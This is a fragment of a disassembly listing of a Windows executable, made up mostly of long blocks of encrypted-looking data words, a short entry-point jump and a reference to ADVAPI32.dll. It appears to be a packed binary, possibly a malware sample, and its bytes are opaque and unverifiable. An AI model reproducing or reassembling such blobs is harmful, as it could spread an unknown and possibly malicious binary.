		dd 0F004FB4Dh, 0A618D431h, 1AF840C0h, 0BD6E1463h, 6F0738BAh
		dd 0D0A57317h, 0A875DC37h, 13FD3F00h, 0C71FC84Ah, 0A1BD259Ah
		dd 661F4044h, 32CEB735h, 0EBEC4074h, 0F10CF06h,	0CDB469D0h
		dd 9D41BC60h, 0DF0AC5DAh, 0D849523Ch, 11A57880h, 46A9ED0h
		dd 0BBEA2EE4h, 4C5C414h, 4060A3ECh, 0CE45C66Dh,	182001DAh
		dd 0DB6778E6h, 58072AB3h, 802E3DD5h, 9D2873B4h,	60BE4C91h
		dd 6708ECC0h, 4B730112h, 509C7600h, 99D6A34Eh, 828FAB1h
		dd 0B36293EDh, 4D2F5B80h, 9C3A0935h, 24E94084h,	0B802C5A2h
		dd 830334Ah, 397C61EBh,	0C1844Ch, 777BA681h, 3BC44A4Eh
		dd 0EF284800h, 0F69A079Ch, 626B13D0h, 8F3420B6h, 0B11D2ACEh
		dd 0A45B227h, 748CCAE0h, 47FD00D0h, 7C456E01h, 400B1D76h
		dd 0C4A4343Ch, 22C80008h, 3BACA7DFh, 5C002838h,	0BDCF9784h
		dd 0FB5F1AFBh, 0FA003029h, 42B72EB5h, 0A099AC2h, 63230343h
		dd 469F9890h, 9DA80FC8h, 4861E2D7h, 38ADC7ECh, 5FD580E4h
		dd 4949699h, 63DC2A9Bh,	52FCA4B0h, 0A7A088B6h, 4B54AD00h
		dd 1DC3758Ah, 6D5601D5h, 738EF6Fh, 0E4708453h, 0C4D70D23h
		dd 0C6A64B52h, 619A05ACh, 9177885Ch, 0D003427Ch, 4A137A3Ch
		dd 7C33FDA1h, 0F930806Ah, 24530518h, 0C4778B43h, 3D88C360h
		dd 93BDE2A8h, 308C20FFh, 0CF263CB8h, 80388055h,	0EB28B79h
		dd 19D329DFh, 28A28CF4h, 0F1D0429Fh, 0FB4D0721h, 0A517E072h
		dd 0B7B4502Ch, 0E2014C48h
		dd 0A74BCF7Bh, 506864F1h, 2049F94Fh, 960C6913h,	98C94F0h
		dd 37CCF8D1h, 91065458h, 0F9F04D6Ch, 0F3BA2231h, 0A21DAC00h
		dd 0C9876ECDh, 70A0007Ch, 193C1A21h, 1409E6E5h,	0E6BAFFEBh
		dd 0EC5A0440h, 0BC08E302h, 2B988FD8h, 0AF8280B4h, 1E4EA099h
		dd 0C2B3B9DAh, 29BA454Fh, 23888C1h, 472F0183h, 80A0BDCDh
		dd 3ADE6119h, 50C82ADDh, 284DE036h, 44584BCAh, 800F7F1h
		dd 1884C360h, 130217B4h, 0A091806Bh, 0D5252C08h, 1674C45Eh
		dd 0E8E3E41Fh, 649C0070h, 84F3A6FBh, 40460202h,	0BF6386F5h
		dd 9C00E4E6h, 0EF03571Dh, 0CD844D2h, 8B98E834h,	6E16DFB8h
		dd 4004D611h, 0D9818C58h, 86605534h, 3B20C242h,	4D98876h
		dd 33B3FC00h, 4CB69DA1h, 0FD8044BFh, 45D1891Fh,	1BC1AB00h
		dd 2DCB9486h, 441849BDh, 2937D17h, 0BF87772Ch, 0E0006CDAh
		dd 4C62043Bh, 4A81346h,	0F7591551h, 594E2DAh, 0A9AD761Bh
		dd 0C550F482h, 934D0054h, 517ADE7Ch, 1FB66C38h,	67C96F11h
		dd 2130843Dh, 86CCCCh, 766291DAh, 53DCD9C9h, 7B057FF8h
		dd 1360E4F3h, 0F52888h,	0BA37D355h, 0FA98C2A8h,	18B63E00h
		dd 0C3B9B051h, 4E1BEE01h, 0AEF0D129h, 3132ECEFh, 94801C01h
		dd 910C1D98h, 54021C61h, 44C6493h, 9E7B0F2Dh, 0CE1FC034h
		dd 0AB0B8D42h, 8BF56A3Bh, 0A6ACC88Dh, 8BFE00DBh, 9F3A955Eh
		dd 0F203B516h, 832688B0h, 31C8F868h, 948B8A3h, 0C51BD76Ah
		dd 0A73EC050h, 59F8189h, 2FFBCD9Ch, 54E84871h, 23B15BB8h
		dd 0C2905ED8h, 2809DAE3h, 81A5A70Ch, 0DEE8AC95h, 3538AE82h
		dd 0A481FE62h, 10F22975h, 1CCFDE6h, 0F6927C8h, 2BBEF758h
		dd 0DCB34C25h, 94CF1A00h, 51DEB238h, 1560C003h,	0E09B0C12h
		dd 67A65E20h, 71A03967h, 0EB9D119Fh, 0E859F3C0h, 0CE075C1Ch
		dd 3DC92F84h, 33177CF2h, 0DFE300CCh, 7E1BAE74h,	2983DE00h
		dd 365993Ah, 20015B88h,	9868F444h, 168DF201h, 751EFF0Fh
		dd 161DBEECh, 22E44D3Ah, 5C72BA74h, 7E00EFF6h, 80DED60h
		dd 265A079Dh, 277D09CCh, 2A8F2410h, 0FDE8F31Ch,	5AD34BC0h
		dd 201AC5h, 53F1D0F8h, 58ACC4E9h, 3500A17Dh, 0FC23FB2Dh
		dd 48B1C712h, 9F800CA6h, 61F5B23Ah, 0A5D44600h,	0BCE62232h
		dd 0E5C71EB0h, 0B3F1D2B8h, 95C200F0h, 3EF865DDh, 823A1FB5h
		dd 0FB0F80D0h, 0B26B191Eh, 28512A2Ch, 0EC550C40h, 117D009Eh
		dd 6935F6CCh, 1A130590h, 404A4E0h, 4E1D3B80h, 0AB945D62h
		dd 0C7795502h, 545B4Bh,	23F18FBCh, 5177C9E8h, 4D9A05C8h
		dd 2CA2CDh, 5142DE1h, 0AA9BE7Fh, 79DAE837h, 81582674h
		dd 0F85C4B3Ah, 0EDBD007Bh, 0A1D92718h, 0BF005CC4h, 0DF92BB2Ch
		dd 0EFF0DB7h, 0DA41F670h, 18CAA2C1h, 0D8202E42h, 244DC2h
		dd 91F022B0h, 0F1903F5Ah, 62E9160Bh, 9E0E4C8h, 805FEE81h
		dd 40600C04h, 0E0FB139Eh, 0BE1E03A2h, 2AAF4B87h, 0E04EAC89h
		dd 5A5E3FB7h, 0A87E3423h, 0B0F8AD5Fh, 0A5AA2C45h, 0ED8E0394h
		dd 9AE92D1Ch, 8032E05Eh, 0EC684B27h, 0A60727A8h, 2171E868h
		dd 9A00C170h, 414406C3h, 128C5317h, 80024DB0h, 18D3A0F8h
		dd 5B5B101h, 0A7546C25h, 9F006879h, 2DFEE980h, 18E4C975h
		dd 0A4E41B07h, 0CC80CD39h, 2F9CE286h, 0C2093F0h, 63CB8748h
		dd 0A70314E4h, 986B1BEDh, 8C05AA1h, 3CBCD9F8h, 0DFB41636h
		dd 0F135E031h, 800ADC42h, 32D6A6B0h, 0EADD003Ch, 21A480B1h
		dd 0B1B08D94h, 9782C801h, 0BACA31B5h, 65872028h, 0A0506777h
		dd 0A3E8EDB0h, 0C9224100h, 0BBB5EB67h, 0CD4A2520h, 970038E4h
		dd 350F0BABh, 0C5C477h,	7102A5E4h, 49B3C279h, 0DFE03B5Ch
		dd 0FC080BDh, 0C995EE10h, 0E68F0055h, 0DD49D3Ah, 0ED00D792h
		dd 0F8B531EAh, 0C10BEFh, 8CA798ACh, 674F1CF3h, 5C8B9E1Ch
		dd 81E2624Ch, 0A7342F5Bh, 1861ACA0h, 0BC07AC68h, 5B81251h
		dd 0A2099F80h, 0DF380139h, 69FB273Fh, 800C20ABh, 904C632Dh
		dd 10C9C70h, 0FB02313Dh, 0D057E412h, 0DA07D913h, 14C9A6Eh
		dd 703A2A20h, 5829488Dh, 0A6D86780h, 0BA16F016h, 0D009BBCEh
		dd 2C8FACAh, 620EB4DBh,	0B0E1A804h, 0C413126Eh,	11F50774h
		dd 0A673B7h, 46D46353h,	26E60A05h, 70CCE4FDh, 0AE883E8Ah
		dd 19B6AD00h, 9802EED6h, 6E7ADA00h, 0B2F71448h,	9209CBEh
		dd 188054B7h, 4D2A4223h, 89ECCF5Ch, 2010003Dh, 1355D691h
		dd 1280C7EDh, 0E20C30ACh, 40FB8AEh, 0A43224A6h,	0F88C0E89h
		dd 94703C63h, 3E540803h, 9380D02Ch, 971C810Ch, 0B80412FFh
		dd 288890BEh, 2004004Dh, 13A70161h, 33001E4Eh, 0C6D839Fh
		dd 2D6CB116h, 309AB669h, 770A7040h, 2CBACC3Eh, 1849F4AFh
		dd 0EDAD24h, 0F8E62BBFh, 89DEB8C7h, 3DA7120Bh, 87F41851h
		dd 0FACA0078h, 0A13C4A17h, 45E6595Ch, 540237E6h, 900D86CDh
		dd 0C05D2E66h, 14C76F35h, 4C008FD8h, 0D4FFF142h, 84BAD5h
		dd 1B310F46h, 62D1E3E2h, 88D71C26h, 2920EA05h, 2059784Fh
		dd 39389C2Fh, 0E6F307BCh, 1684666h, 0F0557DF9h,	181F790Eh
		dd 0D131A74Bh, 0FC6DCE50h, 24018B02h, 0B8D4A941h, 51A7EF00h
		dd 9984BA6h, 6817ED39h,	11D9E0E1h, 90BCBC8Ah, 400060CCh
		dd 9F81CCD0h, 8E00885Ah, 12C06067h, 2957E04Bh, 1E90BA1Bh
		dd 5634879Ah, 3839668Dh, 953FDA02h, 7290BC48h, 0CD460FE8h
		dd 2820CCC8h, 0E7AEDC74h, 3034A626h, 0F0F48100h, 4ED632Eh
		dd 384BADB1h, 328CC0A3h, 2CB061B4h, 0CC3548A0h,	562D8E0Bh
		dd 18E04218h, 0F0EC898h, 8EDC7760h, 3753803Fh, 86D3F0BEh
		dd 7D3B6500h, 8132066Dh, 0D4B03040h, 4A4D3150h,	0DC002DE8h
		dd 0EC4BCB30h, 3D23CFC7h, 0A00C932h, 86DE25Eh, 84908A4Eh
		dd 1DF89248h, 8F031E91h, 0DA957997h, 90DA4201h,	118343Ch
		dd 0F3138E4h, 6B02044Bh, 0C99EB01Eh, 2464E5h, 0AA0BC16Fh
		dd 13957BA7h, 0CA4DB214h, 0CA058FE0h, 73E88B7h,	9419E483h
		dd 3FB069B6h, 82583C38h, 0E042A600h, 3A1FCFD6h,	0D530BC60h
		dd 169FE85Ah, 0A7923E2h, 13ECB7C8h, 12EC00AAh, 0BCEEF8Ah
		dd 6F009090h, 0DD92EC50h, 1FC05639h, 171BAFBh, 28C1996Eh
		dd 84046BC9h, 0CCB42977h, 16B57D3Dh, 2C19232h, 1B66BBE4h
		dd 0F8880C40h, 8D420B02h, 0DC3AFD57h, 0B09567C0h, 0B5C774F0h
		dd 0ACA80F65h, 0BF8AA905h, 0F3B8F4h, 4F4314A4h,	0D6D180Eh
		dd 0C8C08964h, 93258CADh, 4C851C68h, 0E9911100h, 0F599D9EEh
		dd 90536046h, 0CE623273h, 710C6C91h, 9E68A036h,	18BD808Ch
		dd 25DEE291h, 560E3900h, 970508CEh, 0E8D712F9h,	6578E4C1h
		dd 49C4DA71h, 28C0DDD6h, 11A89A7h, 59B7E294h, 1042714Bh
		dd 4ED24123h, 0BF4C8131h, 8019BF4Fh, 0A905278h,	0E81C2Dh
		dd 0EE5463D7h, 6CC681B7h, 379C9804h, 0BC81B634h, 0A0684E22h
		dd 86085380h, 4700DEADh, 0FC3EEF6Ah, 0BB4074h, 0A5350A78h
		dd 37BAB407h, 26DF2D00h, 82E15A1h, 0CBE81891h, 5E83C978h
		dd 0C013E026h, 0B5939D60h, 4C16000Ah, 0F74EF197h, 0FF0E8D11h
		dd 34BA5A76h, 1C5280F8h, 0A03260h, 2219D4C2h, 2F471EC3h
		dd 41F1BD02h, 828998F7h, 4152BA88h, 46B5118h, 80D16130h
		dd 0C15B86B4h, 66418D01h, 93BE15F2h, 58984440h,	0A8200042h
		dd 653D554Ch, 7F0069D7h, 0CEF7C93Ch, 484D01F0h,	428224F6h
		dd 58E1BDCFh, 96051023h, 1298741Ch, 17A00E9Ch, 3A0C83Ch
		dd 23FC4600h, 40BD379Eh, 124F677h, 0A587B111h, 7414A879h
		dd 549ECFC0h, 0BA85AD00h
		dd 59CB7C7h, 49E2B13h, 5246C25Ch, 98C1F8DEh, 0B0316AC9h
		dd 99E0F4E5h, 5AC30148h, 1413EAA8h, 0B75087F0h,	814003C0h
		dd 0BA2DB9h, 68029C33h,	0B8CED21Ch, 0C1D88C04h,	3CA23017h
		dd 0FAF67230h, 0AA12C791h, 20B2BEB1h, 0C93D0C3Bh, 0A277A983h
		dd 698F7BF3h, 8188EC85h, 71389224h, 0A4343C6Ch,	2E0282C0h
		dd 0BF710004h, 7D6C03BCh, 724D5CAAh, 3F3B13B0h,	2936E002h
		dd 128C8154h, 2DD0DFDDh, 0CE4D25B1h, 881D4C66h,	0A000A78Ah
		dd 4A49630Bh, 0E1941D9Eh, 20406FCFh, 9297C862h,	8B940E2Ch
		dd 0BB581051h, 0E358E0A2h, 0A2C0A5D8h, 1300FF4h, 3B8B3EA7h
		dd 40F0D4C2h, 0DBCE30B7h, 96A93504h, 0BE80AB65h, 18536CE5h
		dd 0C8A37BE7h, 0CA0055A4h, 0AF8AFAE2h, 0B38DF60h, 0D7D0F9FEh
		dd 0B4A7BC84h, 3D004EC4h, 0DB310B09h, 3BEAAEh, 0B482667Ah
		dd 524FBAB1h, 0BF586513h, 4D89A01Eh, 7C246AF2h,	8EA4403Ch
		dd 4E00C352h, 7409708Dh, 5C36352Bh, 5A2278BCh, 0D68F8400h
		dd 95B891C0h, 813C4EACh, 6CE7A9D0h, 2B809F38h, 0F8F9D052h
		dd 13367049h, 0F5A61D91h, 60D1D500h, 0B328DF93h, 0AC00E1A9h
		dd 23C03FFFh, 48E0A7h, 120F073Ah, 9AC90291h, 1E8988A0h
		dd 2020DA5Eh, 0FBBDEBh,	6220303Bh, 0DFB88EC6h, 754AE8B8h
		dd 0BDF488h, 59D34A16h,	5AEFEB06h, 8C776378h, 8A6AC2Ch
		dd 0D71A0C61h, 38BD8AC4h, 1C482248h, 343EF100h,	70A9FF12h
		dd 0C029112Eh, 0E06D9A42h, 9405F31h, 219FF0F6h,	0D10FDCC4h
		dd 400AD85Bh, 2A99E5E7h, 2D6E4B6h, 3ED8DAFh, 0F0411323h
		dd 20C91030h, 6A3E00DDh, 0C76C83A7h, 0F14A4D9Fh, 984C9C47h
		dd 6E44989Bh, 191C0077h, 16C9DA78h, 0AF26572Ah,	8F005CF9h
		dd 36A90132h, 0BCE2098Eh, 0AC2BBD33h, 2322F800h, 0AF2DC143h
		dd 0C78C20A7h, 745248h,	9F5AEED2h, 0F98D24B9h, 0E0A31B2Dh
		dd 272A8458h, 649018B8h, 0B2005E1Dh, 6AEE32A8h,	9CA73197h
		dd 0D70D8014h, 42E44D49h, 0A373901Dh, 429E5A0Eh, 0F67CF8Bh
		dd 0DCBE4FE0h, 892CDE3Ah, 3300A369h, 22D9CC1Ch,	0FCFEF1A3h
		dd 56E56074h, 6112085Eh, 6C88DD69h, 9D710306h, 0EBB1F046h
		dd 0BA81E816h, 8A7BD4B0h, 0B63A2480h, 0DA08B9F8h, 6195ADC8h
		dd 0DCC02F02h, 7101513Eh, 5DF985C6h, 0E87DA222h, 15804C39h
		dd 26862C58h, 0BA0F98DDh, 20A7ADAEh, 0A03C109Ch, 0EDA6395Ah
		dd 12D3078Bh, 7E007479h, 0FC28B77h, 0EE607B97h,	7D0EF053h
		dd 72AC019Ch, 9F1BB5E4h, 0BC316A2Dh, 0F3E10242h, 0A5017879h
		dd 3F3A9D05h, 846C702Ch, 0AEB1D200h, 5FE57A4Bh,	39FE18B4h
		dd 0F7F40863h, 99FF2400h, 1267FB2Dh, 39C0FF3Dh,	3421C05Ch
		dd 7578B288h, 9F19F205h, 9AC0C1DBh, 0FA5D48D5h,	38ED0084h
		dd 3191571Ch, 39DF5574h, 3E5B75C3h, 0E110046h, 65390114h
		dd 0CD076796h, 17CF2FECh, 6132DA60h, 85ED0736h,	8F5A35EEh
		dd 60B48620h, 707EC1DCh, 0AC0CE00h, 8229A86Eh, 0C8F46028h
		dd 0C27F17F7h, 0A7D8D11Ch, 0E605500h, 3C89443Bh, 0AC00EB86h
		dd 53DEA0B5h, 0FC00588Dh, 9C0AE629h, 3371C09Eh,	0E7084802h
		dd 74E26EB8h, 0ED8FF200h, 7560623Bh, 2FAC00FEh,	0F6C47EE6h
		dd 3930FBB2h, 0E5B1D144h, 81261FF0h, 256C407Ch,	58A5BFC7h
		dd 0B7069301h, 373114C4h, 1839A4D4h, 388CBDECh,	0D9B88E5Fh
		dd 1A9A990Eh, 0DA50C02Bh, 9BEC5Ah, 0B4E2EDCh, 4870E4E3h
		dd 0F8258530h, 229DE644h, 0CF733082h, 6002F90h,	6AF06D7Eh
		dd 0B02E36h, 1F7CE1AAh,	3B6EBA08h, 4A3EBF18h, 5D91B1h
		dd 0CAD51CC8h, 206D4FF0h, 25EA4C76h, 7E59FD60h,	7ED11D1h
		dd 3B107C56h, 9B36805Ah, 0AF3A75E3h, 0DC017E31h, 8CEEF6B2h
		dd 16F0F5FCh, 630F24E2h, 0CF850069h, 4E12F986h,	41028E78h
		dd 7EA55C6Bh, 8F3C4ADAh, 0C1D0E11Ch, 3C40224Fh,	0A65860DCh
		dd 847800ECh, 0D821B95Ch, 3F0A24B7h, 0A0BDE3E4h, 29316C8Ch
		dd 964800ECh, 0D3B96BCCh, 8F01D1E1h, 20273339h,	0E4E4B05Bh
		dd 3982F5DCh, 0B1F241EEh, 4FEBC880h, 5460105Dh,	70E71308h
		dd 0BBE3077Ch, 830D3D18h, 397FB9E0h, 9C710760h,	3AD7F7h
		dd 0AAA89528h, 6580FF42h, 46769307h, 8BA01D2Bh,	564700Ah
		dd 3C2CD70Eh, 8DC04061h, 497208C4h, 4D5B2207h, 6E020C0h
		dd 0DCF966h, 6F404776h,	2D82364Eh, 193B71C0h, 2CEAE5h
		dd 0B71EA9E1h, 0EC0BB596h, 2FF2E02h, 40354B69h,	15CC72C0h
		dd 0B4E28B9Eh, 71440072h, 0F6987A1Ah, 95007499h, 0D52B1158h
		dd 3EA2864Dh, 3EA836EDh, 15CCE850h, 40331E4Ah, 0C003CB00h
		dd 18E149FAh, 23EA0F00h, 9B3136F7h, 40EA95h, 8A011E70h
		dd 0FC82F2B3h, 162C39C0h, 33EB207Ch, 96614F3Eh,	9A39C898h
		dd 0C17A3C00h, 0F88D106Bh, 2D690BEEh, 840A18BAh, 0E39C037Ch
		dd 39015D3Eh, 967A3124h, 66801F5Ch, 306F3463h, 381E7235h
		dd 0DE872D42h, 0B8F0B533h, 26B1E3A2h, 40603EE0h, 6CC20D09h
		dd 42A4F500h, 66639BCDh, 20566089h, 186FDE22h, 77D0D900h
		dd 2313EE05h, 4E8F056Eh, 800C214Dh, 33367C9h, 0BF1BD709h
		dd 0B0081B8Eh, 7BBB33Ch, 833315F9h, 90C500F6h, 0AE3C60B6h
		dd 8225BFE3h, 0BE455FBAh, 0A22848A6h, 30FA1Ch, 24DB67E0h
		dd 79C1D1B7h, 5531B914h, 8EBE185Ch, 28FDC731h, 30C3169Ah
		dd 5721453Dh, 343AACF3h, 59C79268h, 0B2A28701h,	9B4438C9h
		dd 6656A880h, 8B9219FAh, 3076F188h, 75071370h, 601A9F2Dh
		dd 41C56DC0h, 65D502D8h, 66BEA24Ch, 0E503D844h,	212EC476h
		dd 0E4F6F8E3h, 998860E1h, 4FEF39A5h, 92E43348h,	0ED0D7800h
		dd 7834D683h, 1E2F0C3Eh, 9212982h, 79AA6500h, 9CD6BBBFh
		dd 771FE863h, 0BD552448h, 25E740B8h, 0E6750796h, 81D2CC1Eh
		dd 0B700719Fh, 0C99B2E02h, 1F4C01B8h, 80E5A730h, 5E182095h
		dd 7F4088h, 9954F877h, 0EB3FE231h, 0D1DD6631h, 0A2E860C6h
		dd 0AEAA09CBh, 9E0057FAh, 0C3EF6DB1h, 73003C93h, 2F40E28Dh
		dd 3A1B0961h, 0C090132Dh, 8A008E32h, 7F29DCC0h,	48B2F60h
		dd 0EDE06FC6h, 0F7C792h, 3AB39118h, 1F90DF3Ch, 74662760h
		dd 2E9E1B03h, 698E62h, 0FF0D74C1h, 2041A497h, 3B06FAB8h
		dd 582D991h, 9BAE0071h,	0BB6CFE67h, 233D36DDh, 3D211EB6h
		dd 0E38BD50Eh, 860F4FA1h, 0B029EC31h, 0BC43031Ch, 0EB54ED25h
		dd 552E83A0h, 0BE794D62h, 0A7B8A0BFh, 0F6360172h, 0A3A91E3Dh
		dd 928483B0h, 0F898BD20h, 2812C8F1h, 7C2382EDh,	46A0AF9Dh
		dd 9ADC9CDh, 0E203997Dh, 4FDE1C04h, 22B5E0D9h, 78154C0h
		dd 0B78E9812h, 158F2E55h, 0B1A665h, 34C83388h, 54447131h
		dd 7CA418B3h, 0E3BA49F5h, 0EAF04A00h, 0E716208Dh, 0B9B364DCh
		dd 56988294h, 0F0583620h, 0A0BE30A5h, 5A862F21h, 0E00F0900h
		dd 641B104Dh, 913F398Bh, 409F08C8h, 3A1FB0DCh, 0A74C49A0h
		dd 52C2C088h, 4C5C5744h, 0BF00D094h, 0D60CD1Bh,	0C77283EAh
		dd 0DD0089F2h, 7A5B3BB3h, 0F4F3F86Ch, 15200626h, 38401174h
		dd 0BE780B06h, 59493Dh,	26C19A86h, 0D98067CDh, 0DC759802h
		dd 98F91956h, 5CFA0AA0h, 0BB013D7Eh, 934CDB5Eh,	11B86091h
		dd 3ED9BC17h, 92D8E020h, 4519009Bh, 25085180h, 54399EB5h
		dd 609784D6h, 3C80FA0Ch, 10DE90B8h, 0A6BDEEh, 0B615A35Fh
		dd 0CF7A14h, 4C777222h,	0E358C275h, 8558DCEAh, 0BBDB11A0h
		dd 21D74300h, 0C68389CEh, 693D89Fh, 6612DC99h, 0FB02B9DBh
		dd 0CE7D24E0h, 0CC046097h
		dd 0F29D0014h, 0AAE41B76h, 0C0B0F4B1h, 0A5BDCE18h, 0E25759h
		dd 0A9E87D3Dh, 7A984D90h, 0DF288104h, 78C83C0Ah, 7C480078h
		dd 65DD4084h, 0A80073C4h, 69B8537Eh, 29E9F2Bh, 1849FB20h
		dd 0BF4302BAh, 41D08000h, 6DA5DE2Eh, 0F767DD8h,	357EFC57h
		dd 48CEA8Ah, 900482B3h,	0A28B586Ch, 815A513Fh, 348D3C95h
		dd 0C6C66C01h, 460C0028h, 9C9A1954h, 6109C360h,	0CD4D6Ah
		dd 20DB63B8h, 0D974CEEDh, 0D05576A5h, 0EA38A430h, 7C237E3Fh
		dd 0BEED4508h, 8C80BCA0h, 0C7127D63h, 2E00B154h, 8E180A9Fh
		dd 9298E156h, 2C1D9C40h, 2EB00454h, 4878C858h, 84FC3448h
		dd 1300C685h, 0A9A4F202h, 2C00E499h, 731AA258h,	0F47400C7h
		dd 0DE1E6B1Fh, 49C0673Eh, 54EB8819h, 20CFC45h, 5D951671h
		dd 78409741h, 0A506E23Dh, 0A2BEE74Fh, 230F05B9h, 0C0C6962Eh
		dd 83305926h, 0BA8AC400h, 754F506Dh, 493D4B73h,	6B87CD00h
		dd 0B8F3F01Eh, 9F0076A9h, 3FDC661Bh, 98D5B561h,	4370092h
		dd 0A575DBA8h, 9C91DE47h, 0EA671C80h, 7B8F7A0Bh, 0AB1100A3h
		dd 5A809C69h, 70CB4DBAh, 1F670759h, 0E8909FFh, 3DF5C000h
		dd 9C02485h, 0BDCD9A74h, 616F7C90h, 13E3801Fh, 1A40995Eh
		dd 958F2F81h, 0AB5D00EDh, 6C0D6F27h, 0AF882B82h, 0DE090011h
		dd 8D811B73h, 5B655A31h, 0E8C0C1A1h, 182193A6h,	19523D76h
		dd 260025A0h, 0E65A45F6h, 694F1h, 4E6CF29Ch, 0D716157Eh
		dd 0C7710404h, 0CA04020h, 1FBA030Eh, 483E9679h,	6C764900h
		dd 24CE05F0h, 0BC0300DFh, 0B6E9C64Dh, 37008517h, 0EB7E14E3h
		dd 4321EEh, 9F54A576h, 7FA43895h, 3C3DA899h, 8872836h
		dd 0B8BD5115h, 273C0088h, 0C5913250h, 8FCF0006h, 0BED3B508h
		dd 0F703BD9Dh, 350DE5ECh, 0DC729F3Bh, 0BA04063h, 4F720270h
		dd 3DF3A7A0h, 0CD00385Ah, 7B7E059Fh, 27F87Ch, 4B41658Ah
		dd 54B26ED6h, 37D03F50h, 85096AEAh, 488236F0h, 0EF60ECh
		dd 6309BCEAh, 0CFD97A12h, 35EB30Ah, 40099085h, 4B441856h
		dd 0B1320990h, 620181B0h, 62593169h, 84392E0Ch,	20A6A207h
		dd 3BBA5FB0h, 0C777016Bh, 0BDF46C72h, 3D4981A7h, 4955D0EBh
		dd 38E0F8E3h, 76223D8Bh, 0B83F8381h, 0D571DD07h, 4B3ECC20h
		dd 0CA6261C0h, 941072h,	0F03231A9h, 1E8E39D8h, 0D574F5B0h
		dd 0A7583A14h, 0BD638070h, 1C43B1h, 9752A401h, 0E748E86h
		dd 70B10A7Dh, 60A1B00Fh, 1902D2C5h, 0F5EA00DBh,	0EF676EBBh
		dd 71006A2Ch, 0E42DBC34h, 145B2B3Bh, 4C3DD7D3h,	62DB7300h
		dd 88FF26A4h, 45FCF900h, 0F7F81C63h, 0F09B07B3h, 0F52B3AA0h
		dd 4DCC090h, 3C52F920h,	1AAB00E0h, 9691471Bh, 4D85000Bh
		dd 8E977456h, 8D744FEBh, 30A8A426h, 98388049h, 0AD510Fh
		dd 13EF3B9Bh, 18E422F6h, 60E37926h, 40300A2Dh, 2CF7A23Ah
		dd 1F08AD63h, 210C57D3h, 62603178h, 0D06E00C4h,	13268E8Ah
		dd 8D21C033h, 0F1F73E7h, 20CE8001h, 94190189h, 2E4244F8h
		dd 8CEEE8h, 8D0C8761h, 55585921h, 90393188h, 3630E09Dh
		dd 0A0F879B2h, 361C78h,	13D9FA15h, 5098D0EEh, 817DBC27h
		dd 82F13A3Ch, 842D5040h, 96980095h, 6FCA6C46h, 7204C0F0h
		dd 0D4FF1BDh, 78384B4h,	8A6030E8h, 627C284h, 545A7082h
		dd 12C56B20h, 13AE1163h, 0D894002Eh, 0E7C9CBDEh, 0CA140147h
		dd 2BDF1DECh, 8058D981h, 0CF05BD58h, 448293F9h,	8900EE33h
		dd 0C5DE9B4Bh, 1DEFA255h, 0FD2A217Ah, 0F4D0E4BDh, 7FBC90BFh
		dd 0F62D79D4h, 0FE8D20E2h, 0CF14A54Ch, 210CD5E7h, 4F5104A8h
		dd 218F221h, 75346223h,	5894805Ah, 24A49A31h, 93C08E85h
		dd 0C5843039h, 1C03713Fh, 6C683AB8h, 67B38150h,	1E5B2560h
		dd 0A55DEC9Fh, 7E4C6418h, 4B0E326h, 83FDB309h, 0D8940638h
		dd 1C70D11Eh, 40E00AA9h, 69D5EC85h, 0E1005473h,	0D71FBD9h
		dd 0E32F8BBFh, 58F33020h, 0F880B8BDh, 384C499Eh, 0C4929104h
		dd 8CC71A6Eh, 3555E3B1h, 0C7808038h, 330C9D30h,	0C20007E6h
		dd 896D9B29h, 0B5E7FA3h, 35C966ABh, 0B20C24A4h,	0A4820010h
		dd 146B9BC6h, 0DA31DB0h, 1ECA610h, 21451576h, 0B09847A9h
		dd 319570CCh, 0E8305B45h, 7C145C5Dh, 981B1CFh, 704C0E24h
		dd 60FB52C8h, 8801D4E5h, 9462B2E7h, 20425E31h, 0ACE447h
		dd 0A2D66730h, 102F1584h, 0B9C87E00h, 522CCE94h, 548BEA35h
		dd 4FECE4h, 0B5750969h,	0C21258DFh, 86E06C5Eh, 0D945096Bh
		dd 819DBE4h, 835708A9h,	58D553E4h, 0A0988C83h, 0E952A89h
		dd 0DCE702DAh, 0E15A29F8h, 0E60F751Eh, 643B2F80h, 28B5B838h
		dd 64AB2855h, 4061D0FCh, 0DDEC1C19h, 20924F2Dh,	73686B70h
		dd 648C0100h, 514EEDEEh, 490B14F3h, 0FFBF01CCh,	0D8FEh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53CD6F:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_540070
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 0E0A62761h, 1, 59FCE5h, 7 dup(0)
		dd 7FFE8A48h, 8	dup(0)
		dd offset word_593056
		dd 63DCB49h, 1,	2 dup(0)
		dd 66064823h, 7FFFFFFFh, 2 dup(0)
		dd 1, 3	dup(0)
		dd 3F9F8h, 0Ah dup(0)
aTjT		db 'БJ',9,'t',0
		align 10h
a9:
		unicode	0, <9>,0
		dd 2 dup(0)
		dd offset word_5785CE
		dd 0
		dd offset byte_570023
		dd 1, 0
		dd offset byte_57C30D
		dd 2 dup(0)
aEp		db '┘Pущ',0
		align 4
		dd 0DD000h, 7FFE0304h, 24242424h, 4 dup(0)
		dd offset byte_5405E7
		dd offset byte_5A27C3
		dd 5 dup(0)
		dd offset dword_536858+124h
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd 7FFE0304h, 0
		dd 8001FCFCh, 77E75CB5h, 3 dup(0)
		dd 0FFA87A32h, 84h dup(0)
		dd 3C102014h, 0
		dd 9F69DDh, 0
		dd 8002CAD7h, 2	dup(0)
		dd 30BD04EBh, 0A4h, 2 dup(0)
		dd 0BE14CA40h, 8 dup(0)
		dd 12FF54h, 5A27C3h, 2 dup(0)
		dd offset byte_579AB7
		align 10h
aJW		db 'jитw',0
		align 4
		dd 6 dup(0)
		dd 0FF2DBEEDh, 9F70C4h,	0FFFAC6C8h, 2 dup(0)
		dd offset word_57BF1E
		dd 0E4h, 0
		dd 0FFFDF117h, 0
		dd offset byte_5A3D3F
		dd 1124FA55h, 0
		dd offset word_5A36C6
		align 10h
		dd 0A023E8h, 12h dup(0)
		dd 235Fh, 56806Ch, 5 dup(0)
		dd 1BE000h, 0
		dd offset dword_570000
		dd 5 dup(0)
		dd 1, 3	dup(0)
		dd 20EE9h, 0
		dd 7D2h, 21212121h, 77F50000h, 0FFFFFF30h, 0
		dd 7D1h, 2 dup(0)
aDbcw		db 'D║Гw',0
		align 4
		dd 4 dup(0)
		dd 32597F5Dh, 0
